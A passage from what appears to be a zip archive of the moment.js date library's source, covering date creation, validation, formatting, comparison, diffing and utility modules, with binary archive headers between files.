    if (y < 100 && y >= 0 && isFinite(date.getUTCFullYear())) {
        date.setUTCFullYear(y);
    }
    return date;
}
PK.��\�5���lib/create/utc.jsnu�[���import { createLocalOrUTC } from './from-anything';

export function createUTC (input, format, locale, strict) {
    return createLocalOrUTC(input, format, locale, strict, true).utc();
}
PK.��\���lib/create/local.jsnu�[���import { createLocalOrUTC } from './from-anything';

export function createLocal (input, format, locale, strict) {
    return createLocalOrUTC(input, format, locale, strict, false);
}
PK.��\�qO��lib/create/valid.jsnu�[���import extend from '../utils/extend';
import { createUTC } from './utc';
import getParsingFlags from '../create/parsing-flags';
import some from '../utils/some';

export function isValid(m) {
    if (m._isValid == null) {
        var flags = getParsingFlags(m);
        var parsedParts = some.call(flags.parsedDateParts, function (i) {
            return i != null;
        });
        var isNowValid = !isNaN(m._d.getTime()) &&
            flags.overflow < 0 &&
            !flags.empty &&
            !flags.invalidMonth &&
            !flags.invalidWeekday &&
            !flags.weekdayMismatch &&
            !flags.nullInput &&
            !flags.invalidFormat &&
            !flags.userInvalidated &&
            (!flags.meridiem || (flags.meridiem && parsedParts));

        if (m._strict) {
            isNowValid = isNowValid &&
                flags.charsLeftOver === 0 &&
                flags.unusedTokens.length === 0 &&
                flags.bigHour === undefined;
        }

        if (Object.isFrozen == null || !Object.isFrozen(m)) {
            m._isValid = isNowValid;
        }
        else {
            return isNowValid;
        }
    }
    return m._isValid;
}

export function createInvalid (flags) {
    var m = createUTC(NaN);
    if (flags != null) {
        extend(getParsingFlags(m), flags);
    }
    else {
        getParsingFlags(m).userInvalidated = true;
    }

    return m;
}
PK.��\2�x�
�
lib/format/format.jsnu�[���import zeroFill from '../utils/zero-fill';
import isFunction from '../utils/is-function';

export var formattingTokens = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g;

var localFormattingTokens = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g;

var formatFunctions = {};

export var formatTokenFunctions = {};

// token:    'M'
// padded:   ['MM', 2]
// ordinal:  'Mo'
// callback: function () { this.month() + 1 }
export function addFormatToken (token, padded, ordinal, callback) {
    var func = callback;
    if (typeof callback === 'string') {
        func = function () {
            return this[callback]();
        };
    }
    if (token) {
        formatTokenFunctions[token] = func;
    }
    if (padded) {
        formatTokenFunctions[padded[0]] = function () {
            return zeroFill(func.apply(this, arguments), padded[1], padded[2]);
        };
    }
    if (ordinal) {
        formatTokenFunctions[ordinal] = function () {
            return this.localeData().ordinal(func.apply(this, arguments), token);
        };
    }
}

function removeFormattingTokens(input) {
    if (input.match(/\[[\s\S]/)) {
        return input.replace(/^\[|\]$/g, '');
    }
    return input.replace(/\\/g, '');
}

function makeFormatFunction(format) {
    var array = format.match(formattingTokens), i, length;

    for (i = 0, length = array.length; i < length; i++) {
        if (formatTokenFunctions[array[i]]) {
            array[i] = formatTokenFunctions[array[i]];
        } else {
            array[i] = removeFormattingTokens(array[i]);
        }
    }

    return function (mom) {
        var output = '', i;
        for (i = 0; i < length; i++) {
            output += isFunction(array[i]) ? array[i].call(mom, format) : array[i];
        }
        return output;
    };
}

// format date using native date object
export function formatMoment(m, format) {
    if (!m.isValid()) {
        return m.localeData().invalidDate();
    }

    format = expandFormat(format, m.localeData());
    formatFunctions[format] = formatFunctions[format] || makeFormatFunction(format);

    return formatFunctions[format](m);
}

export function expandFormat(format, locale) {
    var i = 5;

    function replaceLongDateFormatTokens(input) {
        return locale.longDateFormat(input) || input;
    }

    localFormattingTokens.lastIndex = 0;
    while (i >= 0 && localFormattingTokens.test(format)) {
        format = format.replace(localFormattingTokens, replaceLongDateFormatTokens);
        localFormattingTokens.lastIndex = 0;
        i -= 1;
    }

    return format;
}
PK.��\�+?��lib/moment/compare.jsnu�[���import { isMoment } from './constructor';
import { normalizeUnits } from '../units/aliases';
import { createLocal } from '../create/local';
import isUndefined from '../utils/is-undefined';

export function isAfter (input, units) {
    var localInput = isMoment(input) ? input : createLocal(input);
    if (!(this.isValid() && localInput.isValid())) {
        return false;
    }
    units = normalizeUnits(!isUndefined(units) ? units : 'millisecond');
    if (units === 'millisecond') {
        return this.valueOf() > localInput.valueOf();
    } else {
        return localInput.valueOf() < this.clone().startOf(units).valueOf();
    }
}

export function isBefore (input, units) {
    var localInput = isMoment(input) ? input : createLocal(input);
    if (!(this.isValid() && localInput.isValid())) {
        return false;
    }
    units = normalizeUnits(!isUndefined(units) ? units : 'millisecond');
    if (units === 'millisecond') {
        return this.valueOf() < localInput.valueOf();
    } else {
        return this.clone().endOf(units).valueOf() < localInput.valueOf();
    }
}

export function isBetween (from, to, units, inclusivity) {
    inclusivity = inclusivity || '()';
    return (inclusivity[0] === '(' ? this.isAfter(from, units) : !this.isBefore(from, units)) &&
        (inclusivity[1] === ')' ? this.isBefore(to, units) : !this.isAfter(to, units));
}

export function isSame (input, units) {
    var localInput = isMoment(input) ? input : createLocal(input),
        inputMs;
    if (!(this.isValid() && localInput.isValid())) {
        return false;
    }
    units = normalizeUnits(units || 'millisecond');
    if (units === 'millisecond') {
        return this.valueOf() === localInput.valueOf();
    } else {
        inputMs = localInput.valueOf();
        return this.clone().startOf(units).valueOf() <= inputMs && inputMs <= this.clone().endOf(units).valueOf();
    }
}

export function isSameOrAfter (input, units) {
    return this.isSame(input, units) || this.isAfter(input,units);
}

export function isSameOrBefore (input, units) {
    return this.isSame(input, units) || this.isBefore(input,units);
}
PK.��\zڮ�hhlib/moment/constructor.jsnu�[���import { hooks } from '../utils/hooks';
import hasOwnProp from '../utils/has-own-prop';
import isUndefined from '../utils/is-undefined';
import getParsingFlags from '../create/parsing-flags';

// Plugins that add properties should also add the key here (null value),
// so we can properly clone ourselves.
var momentProperties = hooks.momentProperties = [];

export function copyConfig(to, from) {
    var i, prop, val;

    if (!isUndefined(from._isAMomentObject)) {
        to._isAMomentObject = from._isAMomentObject;
    }
    if (!isUndefined(from._i)) {
        to._i = from._i;
    }
    if (!isUndefined(from._f)) {
        to._f = from._f;
    }
    if (!isUndefined(from._l)) {
        to._l = from._l;
    }
    if (!isUndefined(from._strict)) {
        to._strict = from._strict;
    }
    if (!isUndefined(from._tzm)) {
        to._tzm = from._tzm;
    }
    if (!isUndefined(from._isUTC)) {
        to._isUTC = from._isUTC;
    }
    if (!isUndefined(from._offset)) {
        to._offset = from._offset;
    }
    if (!isUndefined(from._pf)) {
        to._pf = getParsingFlags(from);
    }
    if (!isUndefined(from._locale)) {
        to._locale = from._locale;
    }

    if (momentProperties.length > 0) {
        for (i = 0; i < momentProperties.length; i++) {
            prop = momentProperties[i];
            val = from[prop];
            if (!isUndefined(val)) {
                to[prop] = val;
            }
        }
    }

    return to;
}

var updateInProgress = false;

// Moment prototype object
export function Moment(config) {
    copyConfig(this, config);
    this._d = new Date(config._d != null ? config._d.getTime() : NaN);
    if (!this.isValid()) {
        this._d = new Date(NaN);
    }
    // Prevent infinite loop in case updateOffset creates new moment
    // objects.
    if (updateInProgress === false) {
        updateInProgress = true;
        hooks.updateOffset(this);
        updateInProgress = false;
    }
}

export function isMoment (obj) {
    return obj instanceof Moment || (obj != null && obj._isAMomentObject != null);
}
PK.��\��3N>>lib/moment/calendar.jsnu�[���import { createLocal } from '../create/local';
import { cloneWithOffset } from '../units/offset';
import isFunction from '../utils/is-function';
import { hooks } from '../utils/hooks';

export function getCalendarFormat(myMoment, now) {
    var diff = myMoment.diff(now, 'days', true);
    return diff < -6 ? 'sameElse' :
            diff < -1 ? 'lastWeek' :
            diff < 0 ? 'lastDay' :
            diff < 1 ? 'sameDay' :
            diff < 2 ? 'nextDay' :
            diff < 7 ? 'nextWeek' : 'sameElse';
}

export function calendar (time, formats) {
    // We want to compare the start of today, vs this.
    // Getting start-of-today depends on whether we're local/utc/offset or not.
    var now = time || createLocal(),
        sod = cloneWithOffset(now, this).startOf('day'),
        format = hooks.calendarFormat(this, sod) || 'sameElse';

    var output = formats && (isFunction(formats[format]) ? formats[format].call(this, now) : formats[format]);

    return this.format(output || this.localeData().calendar(format, this, createLocal(now)));
}
PK.��\9^��hhlib/moment/clone.jsnu�[���import { Moment } from './constructor';

export function clone () {
    return new Moment(this);
}
PK.��\>��^UUlib/moment/to.jsnu�[���import { createDuration } from '../duration/create';
import { createLocal } from '../create/local';
import { isMoment } from '../moment/constructor';

export function to (time, withoutSuffix) {
    if (this.isValid() &&
            ((isMoment(time) && time.isValid()) ||
             createLocal(time).isValid())) {
        return createDuration({from: this, to: time}).locale(this.locale()).humanize(!withoutSuffix);
    } else {
        return this.localeData().invalidDate();
    }
}

export function toNow (withoutSuffix) {
    return this.to(createLocal(), withoutSuffix);
}
PK.��\��K���lib/moment/locale.jsnu�[���import { getLocale } from '../locale/locales';
import { deprecate } from '../utils/deprecate';

// If passed a locale key, it will set the locale for this
// instance.  Otherwise, it will return the locale configuration
// variables for this instance.
export function locale (key) {
    var newLocaleData;

    if (key === undefined) {
        return this._locale._abbr;
    } else {
        newLocaleData = getLocale(key);
        if (newLocaleData != null) {
            this._locale = newLocaleData;
        }
        return this;
    }
}

export var lang = deprecate(
    'moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.',
    function (key) {
        if (key === undefined) {
            return this.localeData();
        } else {
            return this.locale(key);
        }
    }
);

export function localeData () {
    return this._locale;
}
PK.��\��r�lib/moment/start-end-of.jsnu�[���import { normalizeUnits } from '../units/aliases';

export function startOf (units) {
    units = normalizeUnits(units);
    // the following switch intentionally omits break keywords
    // to utilize falling through the cases.
    switch (units) {
        case 'year':
            this.month(0);
            /* falls through */
        case 'quarter':
        case 'month':
            this.date(1);
            /* falls through */
        case 'week':
        case 'isoWeek':
        case 'day':
        case 'date':
            this.hours(0);
            /* falls through */
        case 'hour':
            this.minutes(0);
            /* falls through */
        case 'minute':
            this.seconds(0);
            /* falls through */
        case 'second':
            this.milliseconds(0);
    }

    // weeks are a special case
    if (units === 'week') {
        this.weekday(0);
    }
    if (units === 'isoWeek') {
        this.isoWeekday(1);
    }

    // quarters are also special
    if (units === 'quarter') {
        this.month(Math.floor(this.month() / 3) * 3);
    }

    return this;
}

export function endOf (units) {
    units = normalizeUnits(units);
    if (units === undefined || units === 'millisecond') {
        return this;
    }

    // 'date' is an alias for 'day', so it should be considered as such.
    if (units === 'date') {
        units = 'day';
    }

    return this.startOf(units).add(1, (units === 'isoWeek' ? 'week' : units)).subtract(1, 'ms');
}
PK.��\I�˶,,lib/moment/to-type.jsnu�[���export function valueOf () {
    return this._d.valueOf() - ((this._offset || 0) * 60000);
}

export function unix () {
    return Math.floor(this.valueOf() / 1000);
}

export function toDate () {
    return new Date(this.valueOf());
}

export function toArray () {
    var m = this;
    return [m.year(), m.month(), m.date(), m.hour(), m.minute(), m.second(), m.millisecond()];
}

export function toObject () {
    var m = this;
    return {
        years: m.year(),
        months: m.month(),
        date: m.date(),
        hours: m.hours(),
        minutes: m.minutes(),
        seconds: m.seconds(),
        milliseconds: m.milliseconds()
    };
}

export function toJSON () {
    // new Date(NaN).toJSON() === null
    return this.isValid() ? this.toISOString() : null;
}
PK.��\�{�a~~lib/moment/moment.jsnu�[���import { createLocal } from '../create/local';
import { createUTC } from '../create/utc';
import { createInvalid } from '../create/valid';
import { isMoment } from './constructor';
import { min, max } from './min-max';
import { now } from './now';
import momentPrototype from './prototype';

function createUnix (input) {
    return createLocal(input * 1000);
}

function createInZone () {
    return createLocal.apply(null, arguments).parseZone();
}

export {
    now,
    min,
    max,
    isMoment,
    createUTC,
    createUnix,
    createLocal,
    createInZone,
    createInvalid,
    momentPrototype
};
PK.��\r=Dj{{lib/moment/min-max.jsnu�[���import { deprecate } from '../utils/deprecate';
import isArray from '../utils/is-array';
import { createLocal } from '../create/local';
import { createInvalid } from '../create/valid';

export var prototypeMin = deprecate(
    'moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/',
    function () {
        var other = createLocal.apply(null, arguments);
        if (this.isValid() && other.isValid()) {
            return other < this ? this : other;
        } else {
            return createInvalid();
        }
    }
);

export var prototypeMax = deprecate(
    'moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/',
    function () {
        var other = createLocal.apply(null, arguments);
        if (this.isValid() && other.isValid()) {
            return other > this ? this : other;
        } else {
            return createInvalid();
        }
    }
);

// Pick a moment m from moments so that m[fn](other) is true for all
// other. This relies on the function fn to be transitive.
//
// moments should either be an array of moment objects or an array, whose
// first element is an array of moment objects.
function pickBy(fn, moments) {
    var res, i;
    if (moments.length === 1 && isArray(moments[0])) {
        moments = moments[0];
    }
    if (!moments.length) {
        return createLocal();
    }
    res = moments[0];
    for (i = 1; i < moments.length; ++i) {
        if (!moments[i].isValid() || moments[i][fn](res)) {
            res = moments[i];
        }
    }
    return res;
}

// TODO: Use [].sort instead?
export function min () {
    var args = [].slice.call(arguments, 0);

    return pickBy('isBefore', args);
}

export function max () {
    var args = [].slice.call(arguments, 0);

    return pickBy('isAfter', args);
}
PK.��\ �����lib/moment/format.jsnu�[���import { formatMoment } from '../format/format';
import { hooks } from '../utils/hooks';
import isFunction from '../utils/is-function';

hooks.defaultFormat = 'YYYY-MM-DDTHH:mm:ssZ';
hooks.defaultFormatUtc = 'YYYY-MM-DDTHH:mm:ss[Z]';

export function toString () {
    return this.clone().locale('en').format('ddd MMM DD YYYY HH:mm:ss [GMT]ZZ');
}

export function toISOString(keepOffset) {
    if (!this.isValid()) {
        return null;
    }
    var utc = keepOffset !== true;
    var m = utc ? this.clone().utc() : this;
    if (m.year() < 0 || m.year() > 9999) {
        return formatMoment(m, utc ? 'YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYYYY-MM-DD[T]HH:mm:ss.SSSZ');
    }
    if (isFunction(Date.prototype.toISOString)) {
        // native implementation is ~50x faster, use it when we can
        if (utc) {
            return this.toDate().toISOString();
        } else {
            return new Date(this.valueOf() + this.utcOffset() * 60 * 1000).toISOString().replace('Z', formatMoment(m, 'Z'));
        }
    }
    return formatMoment(m, utc ? 'YYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYY-MM-DD[T]HH:mm:ss.SSSZ');
}

/**
 * Return a human readable representation of a moment that can
 * also be evaluated to get a new moment which is the same
 *
 * @link https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects
 */
export function inspect () {
    if (!this.isValid()) {
        return 'moment.invalid(/* ' + this._i + ' */)';
    }
    var func = 'moment';
    var zone = '';
    if (!this.isLocal()) {
        func = this.utcOffset() === 0 ? 'moment.utc' : 'moment.parseZone';
        zone = 'Z';
    }
    var prefix = '[' + func + '("]';
    var year = (0 <= this.year() && this.year() <= 9999) ? 'YYYY' : 'YYYYYY';
    var datetime = '-MM-DD[T]HH:mm:ss.SSS';
    var suffix = zone + '[")]';

    return this.format(prefix + year + datetime + suffix);
}

export function format (inputString) {
    if (!inputString) {
        inputString = this.isUtc() ? hooks.defaultFormatUtc : hooks.defaultFormat;
    }
    var output = formatMoment(this, inputString);
    return this.localeData().postformat(output);
}
PK.��\e2�[[lib/moment/from.jsnu�[���import { createDuration } from '../duration/create';
import { createLocal } from '../create/local';
import { isMoment } from '../moment/constructor';

export function from (time, withoutSuffix) {
    if (this.isValid() &&
            ((isMoment(time) && time.isValid()) ||
             createLocal(time).isValid())) {
        return createDuration({to: this, from: time}).locale(this.locale()).humanize(!withoutSuffix);
    } else {
        return this.localeData().invalidDate();
    }
}

export function fromNow (withoutSuffix) {
    return this.from(createLocal(), withoutSuffix);
}
PK.��\�4]�WWlib/moment/now.jsnu�[���export var now = function () {
    return Date.now ? Date.now() : +(new Date());
};
PK.��\�y�~~lib/moment/valid.jsnu�[���import { isValid as _isValid } from '../create/valid';
import extend from '../utils/extend';
import getParsingFlags from '../create/parsing-flags';

export function isValid () {
    return _isValid(this);
}

export function parsingFlags () {
    return extend({}, getParsingFlags(this));
}

export function invalidAt () {
    return getParsingFlags(this).overflow;
}
PK.��\L؞�==lib/moment/get-set.jsnu�[���import { normalizeUnits, normalizeObjectUnits } from '../units/aliases';
import { getPrioritizedUnits } from '../units/priorities';
import { hooks } from '../utils/hooks';
import isFunction from '../utils/is-function';
import { daysInMonth } from '../units/month';
import { isLeapYear } from '../units/year';

export function makeGetSet (unit, keepTime) {
    return function (value) {
        if (value != null) {
            set(this, unit, value);
            hooks.updateOffset(this, keepTime);
            return this;
        } else {
            return get(this, unit);
        }
    };
}

export function get (mom, unit) {
    return mom.isValid() ?
        mom._d['get' + (mom._isUTC ? 'UTC' : '') + unit]() : NaN;
}

export function set (mom, unit, value) {
    if (mom.isValid() && !isNaN(value)) {
        if (unit === 'FullYear' && isLeapYear(mom.year()) && mom.month() === 1 && mom.date() === 29) {
            mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value, mom.month(), daysInMonth(value, mom.month()));
        }
        else {
            mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value);
        }
    }
}

// MOMENTS

export function stringGet (units) {
    units = normalizeUnits(units);
    if (isFunction(this[units])) {
        return this[units]();
    }
    return this;
}


export function stringSet (units, value) {
    if (typeof units === 'object') {
        units = normalizeObjectUnits(units);
        var prioritized = getPrioritizedUnits(units);
        for (var i = 0; i < prioritized.length; i++) {
            this[prioritized[i].unit](units[prioritized[i].unit]);
        }
    } else {
        units = normalizeUnits(units);
        if (isFunction(this[units])) {
            return this[units](value);
        }
    }
    return this;
}
PK.��\�`<���lib/moment/creation-data.jsnu�[���export function creationData() {
    return {
        input: this._i,
        format: this._f,
        locale: this._locale,
        isUTC: this._isUTC,
        strict: this._strict
    };
}
PK.��\sl�G��lib/moment/prototype.jsnu�[���import { Moment } from './constructor';

var proto = Moment.prototype;

import { add, subtract } from './add-subtract';
import { calendar, getCalendarFormat } from './calendar';
import { clone } from './clone';
import { isBefore, isBetween, isSame, isAfter, isSameOrAfter, isSameOrBefore } from './compare';
import { diff } from './diff';
import { format, toString, toISOString, inspect } from './format';
import { from, fromNow } from './from';
import { to, toNow } from './to';
import { stringGet, stringSet } from './get-set';
import { locale, localeData, lang } from './locale';
import { prototypeMin, prototypeMax } from './min-max';
import { startOf, endOf } from './start-end-of';
import { valueOf, toDate, toArray, toObject, toJSON, unix } from './to-type';
import { isValid, parsingFlags, invalidAt } from './valid';
import { creationData } from './creation-data';

proto.add               = add;
proto.calendar          = calendar;
proto.clone             = clone;
proto.diff              = diff;
proto.endOf             = endOf;
proto.format            = format;
proto.from              = from;
proto.fromNow           = fromNow;
proto.to                = to;
proto.toNow             = toNow;
proto.get               = stringGet;
proto.invalidAt         = invalidAt;
proto.isAfter           = isAfter;
proto.isBefore          = isBefore;
proto.isBetween         = isBetween;
proto.isSame            = isSame;
proto.isSameOrAfter     = isSameOrAfter;
proto.isSameOrBefore    = isSameOrBefore;
proto.isValid           = isValid;
proto.lang              = lang;
proto.locale            = locale;
proto.localeData        = localeData;
proto.max               = prototypeMax;
proto.min               = prototypeMin;
proto.parsingFlags      = parsingFlags;
proto.set               = stringSet;
proto.startOf           = startOf;
proto.subtract          = subtract;
proto.toArray           = toArray;
proto.toObject          = toObject;
proto.toDate            = toDate;
proto.toISOString       = toISOString;
proto.inspect           = inspect;
proto.toJSON            = toJSON;
proto.toString          = toString;
proto.unix              = unix;
proto.valueOf           = valueOf;
proto.creationData      = creationData;

// Year
import { getSetYear, getIsLeapYear } from '../units/year';
proto.year       = getSetYear;
proto.isLeapYear = getIsLeapYear;

// Week Year
import { getSetWeekYear, getSetISOWeekYear, getWeeksInYear, getISOWeeksInYear } from '../units/week-year';
proto.weekYear    = getSetWeekYear;
proto.isoWeekYear = getSetISOWeekYear;

// Quarter
import { getSetQuarter } from '../units/quarter';
proto.quarter = proto.quarters = getSetQuarter;

// Month
import { getSetMonth, getDaysInMonth } from '../units/month';
proto.month       = getSetMonth;
proto.daysInMonth = getDaysInMonth;

// Week
import { getSetWeek, getSetISOWeek } from '../units/week';
proto.week           = proto.weeks        = getSetWeek;
proto.isoWeek        = proto.isoWeeks     = getSetISOWeek;
proto.weeksInYear    = getWeeksInYear;
proto.isoWeeksInYear = getISOWeeksInYear;

// Day
import { getSetDayOfMonth } from '../units/day-of-month';
import { getSetDayOfWeek, getSetISODayOfWeek, getSetLocaleDayOfWeek } from '../units/day-of-week';
import { getSetDayOfYear } from '../units/day-of-year';
proto.date       = getSetDayOfMonth;
proto.day        = proto.days             = getSetDayOfWeek;
proto.weekday    = getSetLocaleDayOfWeek;
proto.isoWeekday = getSetISODayOfWeek;
proto.dayOfYear  = getSetDayOfYear;

// Hour
import { getSetHour } from '../units/hour';
proto.hour = proto.hours = getSetHour;

// Minute
import { getSetMinute } from '../units/minute';
proto.minute = proto.minutes = getSetMinute;

// Second
import { getSetSecond } from '../units/second';
proto.second = proto.seconds = getSetSecond;

// Millisecond
import { getSetMillisecond } from '../units/millisecond';
proto.millisecond = proto.milliseconds = getSetMillisecond;

// Offset
import {
    getSetOffset,
    setOffsetToUTC,
    setOffsetToLocal,
    setOffsetToParsedOffset,
    hasAlignedHourOffset,
    isDaylightSavingTime,
    isDaylightSavingTimeShifted,
    getSetZone,
    isLocal,
    isUtcOffset,
    isUtc
} from '../units/offset';
proto.utcOffset            = getSetOffset;
proto.utc                  = setOffsetToUTC;
proto.local                = setOffsetToLocal;
proto.parseZone            = setOffsetToParsedOffset;
proto.hasAlignedHourOffset = hasAlignedHourOffset;
proto.isDST                = isDaylightSavingTime;
proto.isLocal              = isLocal;
proto.isUtcOffset          = isUtcOffset;
proto.isUtc                = isUtc;
proto.isUTC                = isUtc;

// Timezone
import { getZoneAbbr, getZoneName } from '../units/timezone';
proto.zoneAbbr = getZoneAbbr;
proto.zoneName = getZoneName;

// Deprecations
import { deprecate } from '../utils/deprecate';
proto.dates  = deprecate('dates accessor is deprecated. Use date instead.', getSetDayOfMonth);
proto.months = deprecate('months accessor is deprecated. Use month instead', getSetMonth);
proto.years  = deprecate('years accessor is deprecated. Use year instead', getSetYear);
proto.zone   = deprecate('moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/', getSetZone);
proto.isDSTShifted = deprecate('isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information', isDaylightSavingTimeShifted);

export default proto;
PK.��\)U**lib/moment/add-subtract.jsnu�[���import { get, set } from './get-set';
import { setMonth } from '../units/month';
import { createDuration } from '../duration/create';
import { deprecateSimple } from '../utils/deprecate';
import { hooks } from '../utils/hooks';
import absRound from '../utils/abs-round';


// TODO: remove 'name' arg after deprecation is removed
function createAdder(direction, name) {
    return function (val, period) {
        var dur, tmp;
        //invert the arguments, but complain about it
        if (period !== null && !isNaN(+period)) {
            deprecateSimple(name, 'moment().' + name  + '(period, number) is deprecated. Please use moment().' + name + '(number, period). ' +
            'See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.');
            tmp = val; val = period; period = tmp;
        }

        val = typeof val === 'string' ? +val : val;
        dur = createDuration(val, period);
        addSubtract(this, dur, direction);
        return this;
    };
}

export function addSubtract (mom, duration, isAdding, updateOffset) {
    var milliseconds = duration._milliseconds,
        days = absRound(duration._days),
        months = absRound(duration._months);

    if (!mom.isValid()) {
        // No op
        return;
    }

    updateOffset = updateOffset == null ? true : updateOffset;

    if (months) {
        setMonth(mom, get(mom, 'Month') + months * isAdding);
    }
    if (days) {
        set(mom, 'Date', get(mom, 'Date') + days * isAdding);
    }
    if (milliseconds) {
        mom._d.setTime(mom._d.valueOf() + milliseconds * isAdding);
    }
    if (updateOffset) {
        hooks.updateOffset(mom, days || months);
    }
}

export var add      = createAdder(1, 'add');
export var subtract = createAdder(-1, 'subtract');

PK.��\����lib/moment/diff.jsnu�[���import absFloor from '../utils/abs-floor';
import { cloneWithOffset } from '../units/offset';
import { normalizeUnits } from '../units/aliases';

export function diff (input, units, asFloat) {
    var that,
        zoneDelta,
        delta, output;

    if (!this.isValid()) {
        return NaN;
    }

    that = cloneWithOffset(input, this);

    if (!that.isValid()) {
        return NaN;
    }

    zoneDelta = (that.utcOffset() - this.utcOffset()) * 6e4;

    units = normalizeUnits(units);

    switch (units) {
        case 'year': output = monthDiff(this, that) / 12; break;
        case 'month': output = monthDiff(this, that); break;
        case 'quarter': output = monthDiff(this, that) / 3; break;
        case 'second': output = (this - that) / 1e3; break; // 1000
        case 'minute': output = (this - that) / 6e4; break; // 1000 * 60
        case 'hour': output = (this - that) / 36e5; break; // 1000 * 60 * 60
        case 'day': output = (this - that - zoneDelta) / 864e5; break; // 1000 * 60 * 60 * 24, negate dst
        case 'week': output = (this - that - zoneDelta) / 6048e5; break; // 1000 * 60 * 60 * 24 * 7, negate dst
        default: output = this - that;
    }

    return asFloat ? output : absFloor(output);
}

function monthDiff (a, b) {
    // difference in months
    var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()),
        // b is in (anchor - 1 month, anchor + 1 month)
        anchor = a.clone().add(wholeMonthDiff, 'months'),
        anchor2, adjust;

    if (b - anchor < 0) {
        anchor2 = a.clone().add(wholeMonthDiff - 1, 'months');
        // linear across the month
        adjust = (b - anchor) / (anchor - anchor2);
    } else {
        anchor2 = a.clone().add(wholeMonthDiff + 1, 'months');
        // linear across the month
        adjust = (b - anchor) / (anchor2 - anchor);
    }

    //check for negative zero, return zero if negative zero
    return -(wholeMonthDiff + adjust) || 0;
}
PK.��\��`V��lib/utils/abs-ceil.jsnu�[���export default function absCeil (number) {
    if (number < 0) {
        return Math.floor(number);
    } else {
        return Math.ceil(number);
    }
}
PK.��\�J�9gglib/utils/has-own-prop.jsnu�[���export default function hasOwnProp(a, b) {
    return Object.prototype.hasOwnProperty.call(a, b);
}
PK.��\A��$&&lib/utils/to-int.jsnu�[���import absFloor from './abs-floor';

export default function toInt(argumentForCoercion) {
    var coercedNumber = +argumentForCoercion,
        value = 0;

    if (coercedNumber !== 0 && isFinite(coercedNumber)) {
        value = absFloor(coercedNumber);
    }

    return value;
}
PK.��\�f�ּ�lib/utils/abs-floor.jsnu�[���export default function absFloor (number) {
    if (number < 0) {
        // -0 -> 0
        return Math.ceil(number) || 0;
    } else {
        return Math.floor(number);
    }
}
PK.��\��x��lib/utils/map.jsnu�[���export default function map(arr, fn) {
    var res = [], i;
    for (i = 0; i < arr.length; ++i) {
        res.push(fn(arr[i], i));
    }
    return res;
}
PK.��\�CG�__lib/utils/keys.jsnu�[���import hasOwnProp from './has-own-prop';

var keys;

if (Object.keys) {
    keys = Object.keys;
} else {
    keys = function (obj) {
        var i, res = [];
        for (i in obj) {
            if (hasOwnProp(obj, i)) {
                res.push(i);
            }
        }
        return res;
    };
}

export { keys as default };
PK.��\ $����lib/utils/some.jsnu�[���var some;
if (Array.prototype.some) {
    some = Array.prototype.some;
} else {
    some = function (fun) {
        var t = Object(this);
        var len = t.length >>> 0;

        for (var i = 0; i < len; i++) {
            if (i in t && fun.call(this, t[i], i, t)) {
                return true;
            }
        }

        return false;
    };
}

export { some as default };
PK.��\qd�PPlib/utils/is-object-empty.jsnu�[���export default function isObjectEmpty(obj) {
    if (Object.getOwnPropertyNames) {
        return (Object.getOwnPropertyNames(obj).length === 0);
    } else {
        var k;
        for (k in obj) {
            if (obj.hasOwnProperty(k)) {
                return false;
            }
        }
        return true;
    }
}
PK.��\�1���lib/utils/is-array.jsnu�[���export default function isArray(input) {
    return input instanceof Array || Object.prototype.toString.call(input) === '[object Array]';
}
PK.��\I���lib/utils/abs-round.jsnu�[���export default function absRound (number) {
    if (number < 0) {
        return Math.round(-1 * number) * -1;
    } else {
        return Math.round(number);
    }
}
PK.��\�e���lib/utils/is-date.jsnu�[���export default function isDate(input) {
    return input instanceof Date || Object.prototype.toString.call(input) === '[object Date]';
}
PK.��\q�(}��lib/utils/is-function.jsnu�[���export default function isFunction(input) {
    return input instanceof Function || Object.prototype.toString.call(input) === '[object Function]';
}
PK.��\:�OOlib/utils/is-undefined.jsnu�[���export default function isUndefined(input) {
    return input === void 0;
}
PK.��\�0`�lllib/utils/extend.jsnu�[���import hasOwnProp from './has-own-prop';

export default function extend(a, b) {
    for (var i in b) {
        if (hasOwnProp(b, i)) {
            a[i] = b[i];
        }
    }

    if (hasOwnProp(b, 'toString')) {
        a.toString = b.toString;
    }

    if (hasOwnProp(b, 'valueOf')) {
        a.valueOf = b.valueOf;
    }

    return a;
}
PK.��\3�*̻�lib/utils/deprecate.jsnu�[���import extend from './extend';
import { hooks } from './hooks';
import isUndefined from './is-undefined';

function warn(msg) {
    if (hooks.suppressDeprecationWarnings === false &&
            (typeof console !==  'undefined') && console.warn) {
        console.warn('Deprecation warning: ' + msg);
    }
}

export function deprecate(msg, fn) {
    var firstTime = true;

    return extend(function () {
        if (hooks.deprecationHandler != null) {
            hooks.deprecationHandler(null, msg);
        }
        if (firstTime) {
            var args = [];
            var arg;
            for (var i = 0; i < arguments.length; i++) {
                arg = '';
                if (typeof arguments[i] === 'object') {
                    arg += '\n[' + i + '] ';
                    for (var key in arguments[0]) {
                        arg += key + ': ' + arguments[0][key] + ', ';
                    }
                    arg = arg.slice(0, -2); // Remove trailing comma and space
                } else {
                    arg = arguments[i];
                }
                args.push(arg);
            }
            warn(msg + '\nArguments: ' + Array.prototype.slice.call(args).join('') + '\n' + (new Error()).stack);
            firstTime = false;
        }
        return fn.apply(this, arguments);
    }, fn);
}

var deprecations = {};

export function deprecateSimple(name, msg) {
    if (hooks.deprecationHandler != null) {
